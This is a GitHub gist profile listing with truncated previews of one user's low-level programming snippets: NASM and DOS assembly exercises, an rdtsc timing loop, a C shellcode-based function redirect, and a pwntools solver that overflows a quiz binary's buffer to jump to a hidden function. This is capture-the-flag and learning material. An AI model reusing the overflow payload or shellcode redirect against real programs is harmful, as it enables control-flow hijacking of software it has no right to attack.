Skip to content

Instantly share code, notes, and snippets.

View febnug's full-sized avatar
🎯
Focusing

Febriyanto Nugroho febnug

🎯
Focusing
View GitHub Profile
@febnug
febnug / compiling_asm.md
Created October 26, 2019 11:29 — forked from yellowbyte/compiling_asm.md
how to assemble assembly with NASM assembler to 32-bit or 64-bit ELF binary with or without libc

32-bit ELF binary

how to assemble and link:

nasm -f elf32 -o <filename>.o <filename>.asm
ld -m elf_i386 -o <filename> <filename>.o

template code (hello world):

section .text
global _start
int timings[64*N];
int main(void)
{
int i;
__asm__ __volatile__ (
"lea edx, [timings] \n\t"
"rdtsc \n\t"
".rept 32 \n\t"
@febnug
febnug / shell.c
Last active June 4, 2021 10:46
redirect function pake shellcode
// solusi yang saya tulis di :
// https://stackoverflow.com/questions/59536438/calling-x86-local-function-using-shellcode
#include <stdio.h>
#include <string.h>
void redirect() {
FILE *out = fopen("redirect.txt", "w");
fprintf(out, "REDIRECT WORKED");
fclose(out);
<?php
// Taken from : https://gist.github.com/ammarfaizi2/ac9639359a1f315f0aedc6a4bbbc60fb
$strings = [
"/bin/sh"
// "Enter Password: ",
// "Enter Password 2: ",
// "Enter Password 3: ",
// "Wrong Password!\n",
; TODO: belum di test, mungkin broken (?)
global _start
section .text
_start:
mov ecx, 0xc0000082
rdmsr
mov edx, 32
mov ecx, edx
@febnug
febnug / aa2.asm
Last active January 5, 2021 02:58
; bikin program .EXE compile dengan :
;
; C:\> tasm aa2
; C:\> tlink aa2
;
;
; belum di fix, masih ada bug
.model small
.stack 200h
; bikin program .EXE
;
; caranya :
;
; C:\> tasm BAJU
; C:\> tlink BAJU
;
; jalanin programnya :
;
; C:\> BAJU
; -- program input 2 digit angka lalu dijumlahkan --
;
; catatan:
;
; program ini langsung input 2 digit angka, karena bukan "buffered input"
; dan gak ada kondisi untuk input "0dh" (enter)
;
; compile pake nasm : nasm add.asm -o add.com
;
; -----------------------------------------------------------------------
; assembling using FASM on DOSBox
; fasm.exe utltu.asm
; utltu.com
;
; (c) 2021 Febriyanto Nugroho <[email protected]>
org 100h
mov ah, 09h
mov dx, pesan
@febnug
febnug / x.py
Last active June 4, 2021 17:14
Solver GNU/Weeb Quiz 003
# Download quiz : https://gnuweeb.org/quiz/003
from pwn import *
a = process("./003")
sec_func = p64(0x04010B9)
payload = "\x41" * 504 + "\xff" * 8 + sec_func
a.sendline(payload)